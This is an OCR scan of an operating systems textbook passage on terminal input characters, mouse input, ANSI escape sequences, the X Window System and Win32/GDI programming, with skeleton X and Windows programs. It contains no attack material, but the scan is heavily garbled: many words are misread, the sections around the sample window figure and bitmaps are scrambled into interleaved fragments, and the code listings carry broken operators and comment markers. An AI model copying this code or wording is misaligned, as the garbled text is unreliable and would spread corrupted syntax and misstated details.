The ERASE character allows the user to rub out the character just typed. It is 
usually the backspace (CTRL-H). It is not added to the character queue but in
stead removes the previous character from the queue. It should be echoed as a se
quence of three characters, backspace, space, and backspace, in order to remove 
the previous character from the screen. If the previous character was a tab eras
ing it de�ends on how it was processed when it was typed. If it is immediat�ly ex
panded Into spaces, some extra infonnation is needed to determine how far to 
back up. If the tab itself is stored in the input queue, it can be .·removed and the 
entire line just output again. In most systems, backspacing will only erase charac
ters on the current line. It will not erase a camaO'"e return and back up into the 
previous line. 

t> 

When the user notices an error at the start of the line being typed in, it is often 
convenient to erase the entire line and start again. The KILL character erases the 
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entire line. Most systems make the erased line vanish from the screen, but a few 
older ones echo it plus a carriage return and }inefeed because some users like .to 
see the old line. Consequently, how to echo KILL is a matter of taste. As with 
ERASE it is usually not possible to go further back than the current line. When a 
block of characters is killed, it may or may not be worth the trouble for the driver 
to return buffers to the pool, if one is used. 

Sometimes the ERASE or KILL characters must be entered as ordinary data. 
The LNEXT character serves as an escape character. In UNIX CTRL-V is the 
default. As an example, older UNIX systems often used the @ sign for KILL, but 
the Internet mail system uses addresses of the form linda@cs.washington.edu. 
Someone who feels more comfortable with older conventions might redefine 
KILL as @, but then need to enter an @ sign literally to address e-mail. This can 
be done by typing CTRL-V @. The CTRL-V itself can be entered literally by typ
ing CTRL-V CTRL-V. After seeing a CTRL-V, the driver sets a flag sayin� that 
the next character is exempt from special processing. The LNEXT character Itself 
is not entered in the character queue. 

To allow users to stop a screen image from scrolling out of view, control 
codes are provided to freeze the screen and restart it later. In UNIX these are 
STOP, (CTRL-S) and START, (CTRL-Q), respectively. They are not stored but 
are used to set and clear a flag in the keyboard data structure. Whenever output �s 
attempted, the flag is inspected. If it is set, no output occurs. Usually, echoing lS 
also suppressed along with program output. 

It is often necessary to kill a runaway program being debugged. The INTR 
(DEL) and QUIT (CTRL-\) characters can be used for this purpose. In UNIX, 
DEL sends the SIGINT signal to all the processes stal1ed up from that keyboard. 
Implementing DEL can be quite tricky because UNIX was designed from the 
beginning to handle mUltiple users at the same time. Thus in the general case, 
there may be many processes running on behalf of many users, and the DEL key 
must only signal the user's own processes. The hard part is getting the information 
from the driver to the part of the system that handles signals, which, after all, has 
not asked for this information. 

CTRL-\ is similar to DEL, except that it sends the SIGQUIT signal, which 
forces a core dump if not caught or ignored. When either of these keys is struck, 
the drilier should echo a carriage return and linefeed and dis�ard all accurnula�ed 
input to allow for a fresh start. The default value for INTR IS often CTRL-C m� 
stead of DEL, since many programs use DEL interchangeably with the backspace 
for editing. 

Another special character is EOF (CTRL-D), which in UNI� cau�es a�y 
pending read requests for the terminal to be satisfied with whatever IS avaIlable m 
the buffer, even if the buffer is empty. Typing CTRL-D at the start of a line 
causes the program to get a read of 0 bytes, which is conventionally interpreted as 
end-of-file and causes most programs to act the same way as they would upon 
seeing end-of-file on an input file. 
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. 
Most PCs have a mouse, or sometimes a trackball, which is just a mouse lying 

on ItS back. O�e common type of mouse has a rubber ball inside that protrudes 
through a hole In the bottom and rotates as the mouse is moved over a rough sur
face. As the baIl rotates, it rubs against rubber rollers placed on orthoCTonal shafts. 
Mot.ion 

.
in the east-west direction causes the shaft paralIel to the y-a:is to rotate; 

motion In the north-south direction causes the shaft parallel to the x�axis to rotate. 
Anot�er popular mouse type is the optical mouse, whiCh is equipped with one 

or more lIght-emitting diodes and photodetectors on the bottom. Early ones had to 
operate On a special mousepad with a rectangular grid etched onto it so the mouse 
could COunt lines cr�ssed. Modern optical mice have an image-processing chip in 
them and make contmuous low-resolution photos of the surface under them look-
ing for changes from image to image. 

' 

Whenever a mouse has moved a certain minimum distance in either direction 
or. � button

. 
is dep�essed or released, a message is sent to the computer. The 

mInImUm dIstance IS about 0.1 mm (although it can be set in software). Some 
people calI this unit a mickey. Mice (or occasionally, mouses) can have one, two, 
or three buttons, depending on the designers' estimate of the users' intellectual 
ability to keep track of more than one button. Some mice have wheels that can 
send additional data back to the computer. Wireless mice are the same �s wired 
mice except instea� of sending their data back to the computer over a wire, they 
use low-power radIOS, for example� using the Bluetooth standard. 

. 
�he message to the computer contains three items: llx, fly, buttons. The first 

Item 1.S 
.
the c.hange in x position since the last message. Then comes the change in 

y pOSItIOn smce the last message. Finally, the status of the buttons is included. 
The format of the message depends on the system and the number of buttons the 
T?ouse has. Usually, it takes 3 bytes. Most mice report back a maximum of 40 
times/sec, so the mouse may have moved mUltiple mickeys since the last report. 

. Note that the m�use. only indicates changes in position, not absolute pOSition 
Itself. If the mouse IS pIcked up and put down gently without causing the ball to 
rotate, no messages will be sent. 

Some GUIs distinguish between single clicks and double clicks of a mouse ?utt?n. If t,:,,� clicks are close enough in space (mickeys) and also close enough 
III tlme (mIllIseconds), a double click is signaled. The maximum for "close 
enough" is up to the software, with both parameters usually being user settable. 

5.6.2 Output Software 

N�w let us c?nsi�er output software. First we will look at simple output to a 
text WIndow, whIch IS what programmers normally prefer to use. Then we will 
consider graphical user interfaces, which other users often prefer. 
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Text Windows 

Output is simpler than input when the output is sequentially in a single font, 

size, and color. For the most part, the program sends characters to the current win

dow and they are displayed there. Usually, a block of characters, for example, a 

line, is written in one system call. 
Screen editors and many other sophisticated programs need to be able to 

update the screen in complex ways such as replacing one line in the middle of the 

screen. To accommodate this need, most output drivers support a series of com

mands to move the cursor, insert and delete characters or lines at the cursor, and 

so on. These commands are often called escape sequences. In the heyday of the 

dumb 25 imes 80 ASCII tenninal, there were hundreds of tenninal types, each 

with its own escape sequences. As a consequence, it was difficult to write soft

ware that worked on more than one terminal type. 
One solution, which was introduced in Berkeley UNIX, was a terminal data

base called termcap. This software package defined a number of basic actions, 

such as moving the cursor to (row, column). To move the cursor to a particular 

location, the software, say, an editor, used a generic escape sequence which was 

then converted to the actual escape sequence for the terminal being written to. In 

this way, the editor worked on any terminal that had an entry in the termcap data

base. Much UNIX software still works this way, even on personal computers. 
Eventually, the industry saw the need for standardization of the escape se

quence, so an ANSI standard was developed. A few of the values are shown in 

Fig. 5-36. 
Consider how these escape sequences might be used by a text editor. Suppose 

that the user types a command telling the editor to delete all of line 3 and then 

close up the gap between lines 2 and 4. The editor might send the following 

escape sequence over the serial line to the terminal: 

ESC [ 3 ;  1 H ESC [ O K ESC [ 1  M 
(where the spaces are used above only to separate the symbols; they are not trans
mitted). This sequence moves the cursor to the start of line 3, erases the entire 
line, and then deletes the now-empty line, causing all the lines starting at 5 to 
move up one line. Then what was line 4 becomes line 3; what was line 5 becomes 
line 4, and so on. Analogous escape sequences can be used to add text to the mid
dle of the display. Words and be added or removed in a similar way. 

The X Window System 

Nearly all UNIX systems base their user interface on the X Window System 
(often just called X), developed at M.I.T. as part of project Athena in the 1980s. 
It is very portable and runs entirely in user space. It was originally intended for 
connecting a large number of remote user terminals with a central compute server, 
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Escape sequence Meaning 
ESC [ n A  Move up n lines 
ESC [ n 8  Move down n Hnes 
ESC [ n C  Move right n spaces 
ESC [ n O  Move left n spaces 
ESC [ m ; nH Move cursor to (m,n) 
ESC [sJ Clear screen from cursor (0 to end, 1 1 from start, 2 all) 
ESC [ s K  Clear line from cursor (0 to end, 1 from start, 2 all) 
ESC [ n L  insert n lines at cursor 
ESC [ n M  Delete n Hnes at cursor 
ESC [ n P  Delete n cl:!ars at cursor 
ESC [ n @  Insert n chars at cursor 
ESC [ n m  Enable rendition n (O=normal, 4-bold, 5 blinking, 7 reverse) 
ESC M Sera!! the screen backward if the cursor is on the top line 

Figure 5-36. The ANSI escape sequences accepted by the terminal driver on 
�utput. ESC denotes the ASCII escape character (OxIB), and n, /11, and s are op
tIOnal numeric parameters. 

so it is l�gically split into client software and host software, which can potentially 
run on dIfferent computers. On modem personal computers, both parts can run on 
the same machine. On Linux systems, the popular Gnome and KDE desktop envi
ronments run on top of X. 

When X is running on � machine, the software that collects input from the 
keyboard and mouse and wntes output to the screen is called the X server. It has 
to �eep track of.whic� window is currently selected (where the mouse pointer is), 
so. It kno,:""s whIch clIent to send any new keyboard input to. It communicates 
WIth runnmg programs (possible over a network) called X clients. It sends them 
keyboard and mouse input and accepts display commands from them. 

It m�y seem odd that the X server is always inside the user's computer while 
the X chent may be off on a remote compute server, but just think of the X ser
ver's main job: displaying bits on the screen, so it makes sense to be near the user. 
F:om the program' s poi�t of view, it is a client telling the server to do things, like 
d1splay text and geometrIC figures. The server (in the local PC) just does what it is 
told, as do all servers. 

The .arrangement of client and server is shown in Fig. 5-37 f�� the case where 
the X chent and X server are on different machines. But when runnino- Gnome or 
�E on a �ingle machine, the client is just some application program �sing the X 
lIbrary talkmg to the X server on the same machine (but using a TCP connection 
over sockets, the same as it would do in the remote case). 
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Figure 5.37. Clients and servers in the M.l.T. X Window System. 

The reason it is possible to run the X Window System on t?P of UNIX (or an· 

other operating system) on a single machine or over a network IS that what X rea!
ly defines is the X protocol between the X client and the X server, as shown III 

Fig. 5-37. It does not matter whether the client and server are on the same ma

chine separated by 100 meters over a local area network, or are thousands of 

kilorr:eters apart and connected by the Internet. The protocol and operation of the 

system is identical in all cases. 

X is just a windowing system. It is not a complete GUr. T? get � co�plete 

GUI, others layer of software are run on top of
. 
it. O�e layer is Xlib, whtch IS a set 

of library procedures for accessing the X functionalIty. These procedures form the 

basis of the X Window System and are what we will examine below, but they are 

too primitive for most user programs to ac�e
.
ss directly. Fo: example, each mouse 

click is reported separately, so that determmmg that two clICks really form a dou� 

bIe click has to be handled above Xlib. . . 
To make programming with X easier, a toolkit consisting of the IntrinSICS IS 

supplied as part of X. This layer manages buttons, scroll bars, and other OUI ele

ments, called widgets. To make a true GUI interface, with a uniform 
.
look a�d 

feel, yet another layer is needed (or several of them). One exa�ple IS Motif, 

shown in Fig. 5-37, which is the basis of the Common Deskt?p �nvlronment used 

on Solaris and other commercial UNIX systems Most applIcatIOns make use of 

calls to Motif rather than Xlib. Gnome and KDE have a similar structure to 

Fig. 5-37, only with different libraries. Gnome uses the GTK+ 
.
library and KDE 

uses the Qt library. Whether having two GUIs is better than one IS debatable. 
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Also worth noting is that window management is not part of X itself. The 
decision t� leave it out waS fully intentionaL Instead, a separate X client process, 
called a wmdow manager, controls the creation, deletion, and movement of win
dows on the screen. To manage windows, it sends commands to the X server tel
ling what to do. It often runs on the same machine as the X client, but in theory 
can run anywhere. . 

This modular design, consisting of several layers and mUltiple programs, 
makes X highly portable and flexible. It has been ported to most versions of 
UNI�, including Solaris, all variants of BSD, AIX, Linux, and so on, making it 
pOSSIble for application developers to have a standard user interface for multiple 
platforms. It has also been ported to other operating systems. In contrast, in Win
dows, the windowing and QUI systems are mixed together in the GDI and located 
in the kernel, which makes them harder to maintain, and of, course, not portable. 

Now let us take a brief look at X as viewed from the Xlib level. When an X 
program starts, it opens a connection to one or more X servers-let us call them 
workstations even though they might be collocated on the same machine as the X 
program itself. X considers this connection to be reliable in the sense that lost and 
duplicate messages are handled by the networking software and it does not have 
to worry about communication errors. Usually, TCPIIP is used between the client 
and server. 

Four kinds of messages go over the connection: 

1 .  Drawing commands from the program to the workstation. 

2. Replies by the workstation to program queries. 

3. Keyboard, mouse, and other event announcements. 

4. Error messages. 

Most drawing commands are sent from the program to the workstation as 
one-�ay messages. No reply is expected. The reason for this design is that when 
the chent and server processes are on different machines, it may take a substantial 
period of time for the command to reach the server and be carried out. Blocking 
the application program during this time would slow it down unnecessarily. On 
the other hand, when the program needs information from the workstation, it sim
ply has to wait until the reply comes back. 

Like Windows, X is highly event driven. Events flow from the workstation to 
the program, usually in response to some human action such as keyboard strokes, 
mouse movements, or a window being uncovered. Each event messacre is 32 
b��es, w�th the fi:st byte giving the event type and the next 31 bytes providing ad
dItIOnal mformatIOn. Several dozen kinds of events exist, but a program is sent 
only those events that it has said it is willing to handle. For example, if a program 
does not want to hear about key releases, it is not sent any key release events. As 
in Windows, events are queued, and programs read events from the input queue. 
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However, unlike Windows, the operating system never calls procedures within the 

application program on its own. It does not even know which procedure handles 

which event. 
A key concept in X is the resource. A resource is a data structure that holds 

certain infonnation. Application programs create resources on workstations. Re

sources can be shared among multiple processes on the workstation. Resources 

tend to be short-lived and do not survive workstation reboots. Typical resources 

include windows, fonts, colormaps (color palettes), pixmaps (bitmaps), cursors, 

and graphic contexts. The latter are used to associate properties with windows and 

are similar in concept to device contexts in Windows. 

A rough, incomplete skeleton of an X program is shown in Fig. 5-38. It 

begins by including some required headers and then declaring some variables. It 

then connects to the X server specified as the parameter to XOpenDisplay. Then 

it allocates a window resource and stores a handle to it in win. In practice, some 

initialization would happen here. After that it tells the window manager that the 

new window exists so the window manager can manage it. 

The can to XCreateGC creates a graphic context in which properties of the 

window are stored. In a more complete program, they might be initialized here. 

The next statement, the call to XSelectlnput, tells the X server which events the 

program is prepared to handle. In this case it is interested in mouse clicks, key

strokes, and windows being uncovered. In practice, a real program would be 

interested in other events as well. Finally, the call to XMapRaised maps the new 

window onto the screen as the uppermost window. At this point the window be

comes visible on the screen. 

The main loop consists of two statements and is logically much simpler than 

the corresponding loop in Windows. The first statement here gets an event and 

the second one dispatches on the event type for processing. When some event 

indicates that the program has finished, running is set to 0 and the loop terminates. 

Before exiting, the program releases the graphic context, window, and connection. 

It is worth mentioning that not everyone likes a GUL Many programmers 

prefer a traditional command-line oriented interface of the type discussed in Sec. 

5.6.2 above. X handles this via a client program caned xterm. This program emu� 

lates a venerable VTI02 intelligent terminal, complete with all the escape se

quences. Thus editors such as vi and emacs and other software that uses termcap 

work in these windows without modification. 

Graphical User Interfaces 

Most personal computers offer a GUI (Graphical User Interface). The acro� 

nym GUI is pronounced «gooey." 

The GUI was invented by Douglas Engelbart and his research group at the 

Stanford Research Institute. It was then co�searchers at Xerox P ARC. 

One fine day, Steve Jobs, cofounder of Appl�,�uring PARC and saw a GUI 

SEC. 5.6 USER INTERFACES: KEYBOARD, MOUSE, MONITOR 

#inc!ude <X111XIib.h> 
#indude <Xl1/XutiLh> 

main(int arge, char *argv[]) 
( 

Display disp; 
Window win; 
GC ge; 
XEvent event; 
int running = 1 ;  

/* server identifier */ 
/* window identifier */ 
/* graphic context identifier */ 
/* storage for one event */ 
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disp "" XOpenDisplay(Hdisplay_nameU); /* connect to the X server */ 
win -= XCreateSimpleYVind?w(disp, ... ); /* allocate memory for new window */ 
XS.:tStandardPro�ert!eS�dlSp, ... ); /* announces window to window mgr */ 
gc - XCreateGC(d!sp, Win, 0;0); 1* create graphic context */ 
XSelect!�put(d�Sp, wi.n, ButtonPressMask I KeYPressMask I ExposureMask); 
XMapRa!sed(d!sp, WIO); /* display window; send Expose event */ 

whlfe (running) { 
XNextEvent(disp, &event); 
switch (event type) { 

case Expose: 
case ButtonPress: 
case Keypress: 

XFreeGC(disp, gel; 
XDestroyWindow(disp, win); 
XCloseDisp!ay(disp); 

/* get next event */ 

break; 
break; 
break; 

/* repaint window */ 
/* process mouse click */ 
/* process keyboard input Y/ 

/* release graphic context */ 
/* deallocate window's memory space */ 
/* tear down network connection *! 

Figure 5-38. A skeleton of an X Window application program. 

on a Xerox compute� and said something to the effect of '<Holy mackereL This is 
the future of computl�g." The G�I gave him the idea for a new computer, which 
�came th� Apple LIsa. The Lisa was too expensive and was a commercial 
faIlure, but It� successor, the Macintosh, was a huge success. 

. When . M.lcrosoft got a Mac�ntosh prototype so it could develop Microsoft 
OffIce on It, It .begged Apple to lIcense the interface to all comers so it would be� 
come the new llldustry

. 
standard. (Microsoft made much more money from Office 

than from MS�DOS, so It was v.:illi�g to abandon MS�DOS to hay� a better platfonn 
for Office.) The Apple executive III charge of the Macintosh, Jean�Louis Gassee, 
refused and

. 
Steve Jobs was no longer around to overrule him. Eventually, Micro� 

soft got a lIcense for elements of the interface. This formed the basis of Win� 
dows. When Windows ?egan to catch on, Apple sued Microsoft, claiming Micro� 
soft had exceeded the lIcense, but the judge disagreed and Windows went on to 
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overtake the Macintosh. If Gassee had agreed with the many people within Apple 
who also wanted to license the Macintosh software to everyone and his uncle, 
Apple would probably have become immensely rich on licensing fees and Win
dows would not exist now. 

A GUI has four essential elements, denoted by the characters WIMP. These 
letters stand for Windows, Icons, Menus, and Pointing device, respectively. Win
dows are rectangular blocks of screen area used to run programs. Icons are little 
symbols that can be clicked on to cause some action to happen. Menus are lists of 
actions from which one can be chosen. Finally, a pointing device is a mouse, 
trackball, or other hardware device used to move a cursor around the screen to se
lect items. 

The GUI software can be implemented in either user-level code, as is done in 
UNIX systems, or in the operating system itself, as in the case in Windows. 

Input for �UI systems stiU uses the keyboard and mouse, but output almost 
always goes to a special hardware board called a graphics adapter. A graphics 
adapter contains a special memory called a video RAM that holds the images that 
appear on the screen. High�end graphics adapters often have powerful 32- or 64-
bit CPUs and up to 1 OB of their own RAM, separate from the computer's main 
memory. 

Each graphics adapter supports some number of screen sizes. Common sizes 
are 1024 x 768, 1280 x 960, 1600 x 1200, and 1920 X1200. All of these except 
1920 x 1200 are in the ratio of 4:3, which fits the aspect ratio of NTSC and PAL 
television sets and thus gives square pixels on the same monitors used for televi
sion sets. The 1920 x 1200 size is intended for wide-screen monitors whose aspect 
ratio matches this resolution, At the highest resolution, a color display with 24 
bits per pixel requires about 6.5 MB of RAM just to hold the image, so with 256 
MB or more, the graphics adapter can hold many images at once. If the' full 
screen is refreshed 75 timesfsec, the video RAM must be capable of delivering 
data continuously at 489 MBfsec. 

Output software for GUIs is a massive topic. Many IS00-page books have 
been written about the Windows GUI alone (e.g., Petzold, 1999; Simon, 1997; and 
Rector and Newcomer, 1997). Clearly, in this section, we can only scratch the 
surface and present a few of the underlying concepts. To make the discussion 
concrete, we will describe the Win32 APL which is supported by all 32-bit ver
sions of Windows. The output software for other OUIs is roughly comparable in a 
general sense, but the details are very different. 

The basic item on the screen is a rectangular area called a window. A win
dow's position and size are uniquely detennined by giving the coordinates (in pix
els) of two diagonally opposite corners. A window may contain a title bar, a 
menu bar, a tool bar, a vertical scroll bar, and a horizontal scroll bar. A typical 
window is shown in Fig. 5-39. Note that the Windows coordinate system puts the 
origin in the upper lefthand comer and has y increase downward, which is dif
ferent fro�e Cartesian coordinates used in mathematics, 
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Client area 
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(0, 767) " 
(1023, 767) 

Figure 5-39. A sample window lOcated at (200, 100) on an XGA display. 

When a window is .created, the parameters specify whether the window can be mO��d
b
by

)
the user, resIzed by the user, or scrolled (by draoging the thumb On the scro ar by the user. The main window produced b � :O;;d, ;�Si!ed, and scr�lled, which has enonnous conse�u:��: i�����a��i�� 

chang.� t��h��i:e
Of����;n�in

I
�o!::��I:�sf�Oeg���:ar:;�! !��nfo:ed about 

of theIr wmdows at any time, even when they least expect it 
w e contents 

invo��n� ��;s
��;���ed Windows programs are message �riented. User actions r or m�use are captured by Windows and converted int messages to the progr� owmng the window being addressed. Each rooram ha� � messtg� queue to whic� messages relating to all its windows are se!t. The main 

c��t 0 t e, program consists of fishing Out the next message'and 
'
processing it by tng an mternal procedure for that message type. In some cases, Windows it�elf �ay �all these procedur��� _di�_tctly, bypassing the message queue. This model :s qUIte dIfferent than the UNIX model of procedural code that makes system calls o mteract wIth the operatmg system. X, however, is event oriented. 
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1 "d the example of pia. 5-40. 
To make this programming model c earer, conSI er . I:> 

d 
Here we see the skeleton of a main program for Windows. It IS not complete an 

does no error checking, but it shows enough d�tail for Qur purposes. It s:art�
o
� 

including a header me, windows.h, which contams many macr�s, data tyPo 5, 

stants, function prototypes, and other information needed by Wmdows proorams. 

#include <windows.h:> 

lnt WINAPI WinMain(H1NSTANCE h, H1NSTANCE, hprev, char *szCmd, lnt iCmdShow) 

( 
WNDCLASS wndclass; 
MSG msg; 
HWND hwnd; 

/* class object for this window *1 
1* incoming messages are stored here */ 
1* handle (pointer) to the window object */ 

1* Initialize wndclass */ n */ 
wndclass.lpfnWndProc =: WndProc; /* tells which procedure to ca 

wndc1assJpszClassName = "Program name"; f* Text for title bar */ 

wndclass.hlcon = Loadlcon(NULL, !DLAPPLlCAT!ON); /* load program Icon */ 
ARROW) /* load mouse cursor */ 

wndclass.hCursor "" LoadCursor(NULL, IOC_ ; 

RegisterClass(&wndc1ass); 
hwnd = CreateWindow ( ... ) 
ShowWindow(hwnd, iCmdShow); 
UpdateWindow(hwnd}; 

/* teH Windows about wndc1ass */ 
/* allocate storage for the window */ 
/* display the window on the screen */ 
/* tell the window to paint itself */ 

while (GetMessage(&msg, NULL, 0, 0)) { /* get message from queue */ 

TranslateMessage(&msg); /* translate the message */
. * 

} 
DispatchMessage(&msg); /* send msg to the appropnate procedure I 

retum(msg.wParam); 

long CALLBACK WndProc(HWND hwnd, UINT message, UINT wParam, long lParam) 

{ 
/* Declarations go here. */ 

switch (message) { 
case WM_CREATE: 
case WM_PA1NT: 
case WM_DESTROY: 

return 
re'U.1rn . .  
return . 

/* create window */ 
1* repaint contents of window */ 
/* destroy window */ 

�eturn(DefWindowProC(hWnd, message, wParam, IParam)); /* default */ 

Figure 540. A skeleton of a Windows main program. 

The main proe-ram starts with a declaration giving its name and. parameters. 

The WINAPI mac�o is an instruction to the compiler to use a certam paramet� 
. . d ·11 n�f further concern to us. The first parameter, , 

passmg conventlQn an WI 
., 
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is an instance handle and is used to identify the program to the rest of the system. 
To some extent, Win32 is object oriented, which means that the system contains 
objects (e.g., programs, files, and windows) that have some state and associated 
code, called methods, that operate on that state. Objects are referred to using 
handles, and in this case, h identifies the program. The second parameter is pres
ent only for reasons of backward compatibility. It is no longer used. The third pa
rameter, szCmd, is a zero-tenninated string containing the command line that 
started the program, even if it was not started from a command line. The fourth 
parameter, iCmdShow, tells whether the program's initial window should occupy 
the entire screen, part of the screen, or none of the screen (task bar only). 

This declaration illustrates a widely used Microsoft convention caned Hun
garian notation. The name is a pun on Polish notation, the postfix system inven
ted by the Polish logician J. Lukasiewicz for representing algebraic formulas 
without using precedence or parentheses. Hungarian notation was invented by a 
Hungarian programmer at Microsoft, Charles Simonyi, and uses the first few 
characters of an identifier to specify the type. The allowed letters and types in
clude c (character), W (word, now meaning an unsigned 16-bit integer), i (32-bit 
signed integer), 1 (long, also a 32-bit signed integer), s (string), sz (string termi
nated by a zero byte), p (pointer), fn (function), and h (handle). Thus szCmd is a 
zero-terminated string and iCmdShow is an integer, for example. Many pro
grammers believe that encoding the type in variable names this way haS little 
value and makes Windows code exceptionally hard to read. Nothing analogous to 
this convention is present in UNIX. 

Every window must have an associated class object that defines its properties. 
In Fig. 5-40, that class object is wndclass. An object of type WNDCIASS has 1 0  
fields, four of which are initialized in Fig. 5-40. In an actual program, the other 
six would be initialized as well. The most important field is IpfnWndProc, which 
is a long (i.e., 32-bit) pointer to the function that handles the messages directed to 
this window. The other fields initialized here tell which name and icon to use in 
the title bar, and which symbol to use for the mouse cursor. 

After wndclass has been initialized, RegisterClass is called to pass it to Win
dows. In particular, after this call Windows knows which procedure to call when 
various events occur that do not go through the mesS-age queue. The next call, 
Create Window, allocates memory for the window's data structure and returns a 
handle for referencing it later. The program then makes two more calls in a row, 
to put the window's outline on the screen, and finally fill it in completely. 

At this point we come to the program's main loop, which consists of getting a 
message, having certain translations done to it, and then passing it back to Win
dows to have Windows invoke WndProc to process it. To answer the question of 
whether this whole mechanism could have been made simpler, the answer is yes, 
but it was done this way for historical reasons and we are now stuck with it. 

Following the main program is the procedure vVndProc, which handles the 
various messages that can be sent to the window. The use of CALLBACK here, 
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like WINAPI above, specifies the calling sequence to use for parameters. The first 

parameter is the handle of the window to lise. The second parameter is the mes

sage type. The third and fourth parameters can be used to provide additional infor-

mation when needed. 
Message types WM_CREATE and WM_DESTROY are sent at the start and 

end of the program, respectively. They give the program the opportunity, for ex
ample, to allocate memory for data structures and then return it. 

The third message type, WM_PAINT, is an instruction to the program to fill in 
the window. It is not only called when the window is first drawn, but often during 
program execution as welL In contrast to text-based systems, in Windows a pro
gram cannot assume that whatever it draws on the screen will stay there until it re
moves it. Other windows can be dragged on top of this one, menus can be pulled 
down over it, dialog boxes and tool tips can cover part of it, and so on. When 
these items are removed, the window has to be redrawn. The way Windows tells 
a program to redraw a window is to send it a WM_PAINT message. As a friendly 
gesture, it also provides infonnation about what part of the window has been over
written, in case it is easier to regenerate that part of the window instead of redraw-
ing the whole thing. 

There are two ways WindowS can get a program to do something. One way is 
to post a message to its message queue. This method is used for keyboard input, 
mouse input, and timers that have expired. The other way, sending a message to 
the window, involves having Windows directly call WndProc itself: This method 
is used for all other events. Since Windows is notified when a message is fully 
processed, it can refrain from making a new call until the previous one is finished. 
In this way race conditions are avoided. 

There are many more message types. To avoid erratic behavior should an 
unexpected message arrive, the program should call DefWindowProc at the end of 
WndProc to let the default handler take care of the other cases. 

In summary, a Windows program nonnal1y creates one or more windows with 
a class object for each one. Associated with each program is a message queue and 
a set of handler procedures. Ultimately, the program's behavior is driven by the 
incoming events, which are processed by the handler procedures. This is a very 
different model of the world than the more procedural view that UNIX takes. 

The actual drawing to the screen is handled by a package consisting of hun
dreds of procedures that are bundled together to form the GDI (Graphics Device 
Interface). It can handle text and all kinds of graphics and is designed to be plat
form and device independent. Before a program can draw (i.e., paint) in a win
dow, it needs to acquire a device context, which is an internal data structure con
taining properties of the window, such as the current font, text color, background 
color, and so on. Most GDI cans use the device context, either for drawing or for 
getting or setting the properties. 

Various ways exist to acquire the device context. A simple example of its 
acquisition and use is 
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hdc � GetDC(hwnd); 
TextOut(hdc, x, y, psText, iLength); 
ReleaseDC(hwnd, hdc); 

409 

The first statement gets a handle to a device content hdc Th d 
h d . 

' . e secon one uses t e eVIce context to �rite a line of text on the screen, specifying the (x, y) coordin�tes of where the stnng
, 
starts, a pointer to the string itself, and its length. The 

�hlrd call releases the deVIce context to indicate that the program is th ollcrh d -mg
. 
for the moment. Note that hdc is used in a way analogous to a �IX fil:�:scr!ptor. Also !10te that

.ReieaseDC contains redundant information (the use of hdc umquely s?eclfies a wmdow). The use of redundant information that has no actual value IS common in Windows. 
Another interesting note is that when hdc is acquired in this way the p 

can only 't ' th I' f 
' rogram 

. wn e 10 e c lent area 0 the window, not in the title bar and other parts o� It. Internally, i� the d�vice con�ext.'s data structure, a clipping region is maintamed. Any drawl�g outSIde the chppmg region is ignored. However, there is an
other way to acqUIre a device context, GetWindowDC which sets the I' 

, 
. 

h . 
. 

, c  lppmg re-gIOn
. 
to t e �ntlre wmdow. Other calls restrict the clipping region in other ways. Havmg multIple calls that do almost the same thing is characteristic of Windows. 

A complete treatme�t of the GDI is out of the question here. For the interested reader, the references cited above provide additional information. Nevertheless a �ew wo�ds about the GDI are probably worthwhile given how important it is . • GDI 
as vano�s procedure calls to get and release device contexts, obtain information 

about devlc� contexts, get and set device context attributes (e.g., the backcrround colo�), mampul
.
ate GDI objects such as pens, brushes, and fonts, each otwhich has Its own attnbutes. Finally, of course, there are a large number of GDI calls to actually draw on the screen. �he drawing procedures fall into four categories: drawincr lines and c 

drawIfi� filled areas, managing bitmaps, and displaying text. We saw an ex�:e
l� 

of drawmg text above, so let us take a quick look at one of the others. The call 
p 

Rectangle(hdc, xleft, ytop, xright, ybottom); ��::��
,
filled rectangle whose comers are (xleft, ytop) and (xright. ybottom). For 

Rectangle(hdc, 2, 1 ,  6, 4); 

will draw the rectangl� shown in Fig. 5-41 .  The line width and color and fill color 
are taken from the deVIce context. Other GDI calls are similar in flavor. 

Bitmaps 

The .GDI procedures are examples of vector graphiCS. They are used to place 
geometrIC figures an� text on the screen. They can be scaled easily to larger or 
smaller screens (proVlded the number of pixels, on the screen is the same), They 
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Figure 5.41. An example rectangle drawn using Rectangle. Each box represents 

one pixel. 

. . '  d nt A conection of calls to GDI procedures 
are also relatively devlce mdepen 

d
e ' "b complex drawinO" Such a file is ca1l-

can be �ss
d
embled i

ta
n a

f
il
fi
e
rlea�;ti���id�y

cr�S�: to transmit drawi�gs from one Win-
ed a WIll ows me I , . if ther Such files have extenSIOn .wm . 
daws progr� to ana . 

How the user to copy (part at) a drawing and put 
Many Wmdows programs a other rooram and paste 

in on the Windows c�ipboard .. The US��e
c
r
a�o�:�;�. t�:� way �f doing this is for 

the contents of the clIpboard mto ;no . (;r a Windows metafile and put it on the 
the first program to represent the rawmt> as . 

. • ,F f at Other ways also eXISt. clIpboard In . wmJ orm . . late can be crenerated using vector Not all the images that comput
�
rs mamp

�e do not us� vector QIaphics. In
graphics. Photographs and vid�os, or e�a�� 'a grid on the image.

t> 
The average 

stead, these items are scanne� In �y o�er :��r; are then sampled and saved as the 
red, green, and blue values 0 ?ac If� S

b-tmap There are extensive facilities in 
value of one pixel. Such a file IS ca e a 1 • 

Windows for manipul�ting bi�m:P\ext One way to represent a particular characAnother use �or bItmaps 
1
1
1\ '��ap 

. 
Adding text to the screen then becomes a 

ter in some font IS as a sma I . 
matter of moving bitmaps. 

b' . throuO"h a procedure called bilblt. It is call-
One general way to use Itmaps IS t> 

ed as followS: 

bitblt(dsthde, dx, dy, wid, ht, srehde, sx, sy, rasterop); 

. ies a bitmap from a rectangle in one window to a rec-
In its simplest form,

. 
It cop 

) The first three parameters specify 
tangle in another. wmdow (or t�� same one 

�e the width and height. Next come 
the destination wmdow and ��sltl°N

n. The
h
n
a�
o
each window has its own coordinate 

the source window and pOSItIOn. ote t 

.. 
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system, with (0, 0) in the upper left-hand corner of the window. The last parame
ter will be described below. The effect of 

BitBlt(hde2, 1 ,  2, 5, 7, hde1, 2, 2, SRCCOPY); 

is shown in Fig. 5-42. Notice carefully that the entire 5 x 7 area of the letter A 
has been copied, including the background color. 

(a) (b) 

Figure 5-42. Copying bitmaps using BitElI. (a) Before. (b) After. 

BitBlt can do more than just copy bitmaps. The last parameter gives the possi
bility of performing Boolean operations to combine the source bitmap and the 
destination bitmap. For example, the source can be ORed into the destination to 
merge with it. It can also be EXCLUSIVE ORed into it, which maintains the 
characteristics of both source and destination. 

A problem with bitmaps is that they do not scale. A character that is in a box 
